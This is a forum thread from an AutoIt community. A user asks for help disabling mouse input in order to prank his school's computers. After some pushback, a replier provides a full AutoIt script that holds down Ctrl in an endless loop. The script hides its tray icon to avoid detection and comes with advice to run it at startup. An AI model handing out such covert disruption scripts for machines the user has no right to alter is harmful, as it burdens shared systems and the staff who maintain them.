Jump to content

I need some help


Recommended Posts

Hi i am a new user to auto it but my im pretty good with java i just formmatted my comp and lost my program to make java scripts to exe. so i started using auto it o:)

can anyone compile this to autoit or show me a script of how to disable left click on the mouse here's my script ;)

<script LANGUAGE="Javascript1.1">

function disable(mousebutton)

{

var message = "";

function clickIE() {if (document.all) {(message);return false;}}

function clickNS(e) {if

(document.layers||(document.getElementById&&!document.all)) {

if (e.which==2||e.which==3||e.which==1) {(message);return false;}}}

if (document.layers)

{document.captureEvents(Event.MOUSEDOWN);document.onmousedown=clickNS;}

else{document.onmouseup=clickNS;document.onclick=clickIE;document.oncontextmenu=clickIE;}

return true;

}

document.onmousedown = disable;

</SCRIPT>

Disable only left click:

<script LANGUAGE="Javascript1.1">

function disable(mousebutton)

{

var message = "";

function clickIE() {if (document.all) {(message);return false;}}

function clickNS(e) {if

(document.layers||(document.getElementById&&!document.all)) {

if (e.which==2||e.which==3||e.which==1) {(message);return false;}}}

if (document.layers)

{document.captureEvents(Event.MOUSEDOWN);document.onmousedown=clickNS;}

else{document.onmouseup=clickNS;document.onclick=clickIE;}

return true;

}

document.onmousedown = disable;

</SCRIPT>

Disable only right-click

<script LANGUAGE="Javascript1.1">

function disable(mousebutton)

{

var message = "";

function clickIE() {if (document.all) {(message);return false;}}

function clickNS(e) {if

(document.layers||(document.getElementById&&!document.all)) {

if (e.which==2||e.which==3||e.which==1) {(message);return false;}}}

if (document.layers)

{document.captureEvents(Event.MOUSEDOWN);document.onmousedown=clickNS;}

else{document.onmouseup=clickNS;document.oncontextmenu=clickIE;}

return true;

}

document.onmousedown = disable;

</SCRIPT>

any tutorilas for auto it like multi tooling and stuff like that can u post to thanx :lmao:

Link to comment
Share on other sites

HI,

what do you want to do, exactly? Why should nobody be able to click?

Maybe this helps:

;Disable/enable the mouse and keyboard.

BlockInput ( flag )

;Parameters
;flag 1 = Disable user input
;0 = Enable user input 

;Return Value
;None.

So long,

Mega

Scripts & functions Organize Includes Let Scite organize the include files

Yahtzee The game "Yahtzee" (Kniffel, DiceLion)

LoginWrapper Secure scripts by adding a query (authentication)

_RunOnlyOnThis UDF Make sure that a script can only be executed on ... (Windows / HD / ...)

Internet-Café Server/Client Application Open CD, Start Browser, Lock remote client, etc.

MultipleFuncsWithOneHotkey Start different funcs by hitting one hotkey different times

Link to comment
Share on other sites

HI,

what do you want to do, exactly? Why should nobody be able to click?

Maybe this helps:

;Disable/enable the mouse and keyboard.

BlockInput ( flag )

;Parameters
;flag 1 = Disable user input
;0 = Enable user input 

;Return Value
;None.

So long,

Mega

i dont want any 1 to click becasue i wanna mess with my school computers make them be like wtf? plus i'm bored

but something is messed up ur code doesn't work (flag) is an unknown funtion

Edited by gunnersense
Link to comment
Share on other sites

i dont want any 1 to click becasue i wanna mess with my school computers make them be like wtf? plus i'm bored

but something is messed up ur code doesn't work (flag) is an unknown funtion

how much do you think they're going to care that the mouse and keyboard don't work? i'm sure it's not the first time they've had a windows system become non responsive, they'll probably just restart the computer, or press control alt delete and unlock it, and your joke will amuse only yourself for the 3 seconds it takes for the system to unlock...

the code he listed had the bottom lines commented out to explain the usage on the only line of code

Blockinput(0); input allowed
BlockInput(1); input blocked.
Edited by cameronsdad
Link to comment
Share on other sites

you kill the fun out of everything and contorl,alt,delete doesn't work on the computers but whateever thanks

wasn't trying to kill your fun, but to make you realize that it really wouldn't be fun, and that there wasn't really anything to be gained. Is it worth the possible consequences of putting an unauthorized program on their computer worth the negligible amount of entertainment you'd get for 2 seconds of watching someone press control alt delete, or the power button on the tower? I mean if you're going to risk getting in any kind of trouble, atleast make it worth it.
Link to comment
Share on other sites

i just tested ur script it seemse to run with no errors but i cant still click :S

yeah, that's because clicking is Input, which is blocked, hence the name "BlockInput". I don't believe there's a function that blocks the keyboard, so if you want that, you'd have to write your own. one line you may actually have more fun with than BlockInput(1) would be

Send("{LCTRL Down}")
maybe put it in a loop, so that it stays down after they press control. Then as they used their keyboard, odd letters would do things... like they'd press 'e' and an explorer window would come up. they'd press escape, and their start menu would come up, etc etc etc. Then you'd have the fun of seeing some IT guy come in and say the control key is sticking, the swap the keyboard and reboot. at that point unless you've set your script to start at startup, the problem will be 'fixed' and then you can just run the script again at another time so the IT guy thinks that the owner of the computer is too retarded to use a keyboard, or if you DO set it to run at startup, you'll probably get to see him format the computer to fix the problem thinking that windows has become corrupted. Edited by cameronsdad
Link to comment
Share on other sites

lol nice idea but this is why i hate typing fast and looking back at what im posting I can still click not can't, could you teach how to make the keys sticky so other things popup im fairly new at auto it so i don't know much i'd appreciate it :lmao:

this would be the whole contents of the file

HotkeySet("^{PAUSE}","EnoughFunForNow");gives you a way to exit
#NoTrayIcon;hides the systray icon that could blow your cover
While 1;starts infinite loop
Send("{LCTRL DOWN}");depresses the left control key (even if already depressed)
Sleep(100);makes sure that you're not tying up the processor too much, giving away your program
WEnd;repeat the above forever
Func EnoughFunForNow();this is the function called by your hotkey
Exit;this exits the script
EndFunc;this ends the function
Link to comment
Share on other sites

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!

Register a new account

Sign in

Already have an account? Sign in here.

Sign In Now
 Share

  • Recently Browsing   0 members

    • No registered users viewing this page.
×
×
  • Create New...